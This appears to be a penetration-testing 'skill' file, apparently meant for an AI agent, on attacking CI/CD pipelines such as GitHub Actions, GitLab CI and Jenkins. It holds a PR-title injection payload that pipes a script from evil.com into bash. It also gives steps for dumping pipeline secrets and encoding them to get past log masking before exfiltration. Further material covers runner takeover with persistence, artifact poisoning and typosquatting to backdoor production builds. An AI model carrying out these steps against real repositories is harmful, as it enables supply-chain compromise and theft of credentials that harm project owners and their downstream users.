cicd-technique

name	cicd-technique
description	CI/CD supply chain methodology: identifying poisoned pipelines, unsafe GitHub Actions, and extracting build secrets.

cicd-technique

Goal: Exploit CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins) to achieve code execution in runners, extract pipeline secrets, or backdoor production artifacts.

When this technique applies

• Evaluating a repository for supply chain vulnerabilities.
• Gained access to a repository with write permissions to Pull Requests, Issues, or Wiki.
• Compromised a CI/CD runner container.

The Execution Workflow

1. Runner Context Enumeration

If you achieved execution within a pipeline step (e.g., via Poisoned PR):

• Dump secrets: Run env, search for AWS_ACCESS_KEY_ID, GITHUB_TOKEN, or $NPM_TOKEN.
• Identity: For GitHub, investigate ACTIONS_ID_TOKEN_REQUEST_URL for OIDC (OpenID Connect) trust to AWS/GCP/Azure.

2. Identifying Injection Vectors

Review the pipeline configuration files (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile).

• Untrusted Input in Scripts: Look for run: blocks that echo/execute issue names, PR titles, or commit messages without sanitization:

  - run: echo "Checking PR title: ${{ github.event.pull_request.title }}"
  

  (A PR titled "; curl http://evil.com/shell.sh | bash; " will execute).
• pull_request_target Abuse ("pwn request"): Workflows using pull_request_target run with elevated repository permissions and access to secrets. If they explicitly check out the fork's head (ref: ${{ github.event.pull_request.head.sha }}) and then run npm install, make, or any build step, attacker code executes with the workflow's full privileges.
• Self-Hosted Runner Takeover: Non-ephemeral self-hosted runners on public repos are compromised by submitting a PR that adds a job with runs-on: self-hosted. The first-time contributor gate can be bypassed once any prior PR is merged; the runner then executes attacker code, and persistence (cron/systemd/.bashrc) is often possible because the runner reuses the same workspace between jobs. Named 2024 cases: PyTorch, TensorFlow, Microsoft DeepSpeed.
• Artifact Poisoning: A low-privilege workflow (fork PR) uploads a malicious artifact; a later privileged workflow downloads it and executes/extracts it. Watch for actions/download-artifact without github-token + run-id pinning, and dawidd6/action-download-artifact <v6 (searches forks by default — GHSA-5xr6-xhww-33m4). Also actions/download-artifact <4.1.3 has arbitrary-file-write on extraction (GHSA-cxww-7g56-2vh6).

3. Pipeline Poisoning (Artifacts)

• Identify if the pipeline builds the production Docker image or binaries.
• If you can push code or control dependencies (e.g., typosquatting package.json), you can implant backdoors natively into the production deployment cycle.

Quality Gates

• Beware of Production Impact: Do not blindly merge poisoned Pull Requests into main. Injecting a backdoor into a build pipeline will trigger incident response or deploy malware to live customers. Keep proofs restricted to harmless env | grep outputs (secrets are log-masked; base64/hex-encode before exfil) sent to an out-of-band (OAST) collector.
• Avoid Credential Rolling: Only read CI/CD secrets. Do NOT rotate or regenerate them, as it will break the production pipeline completely.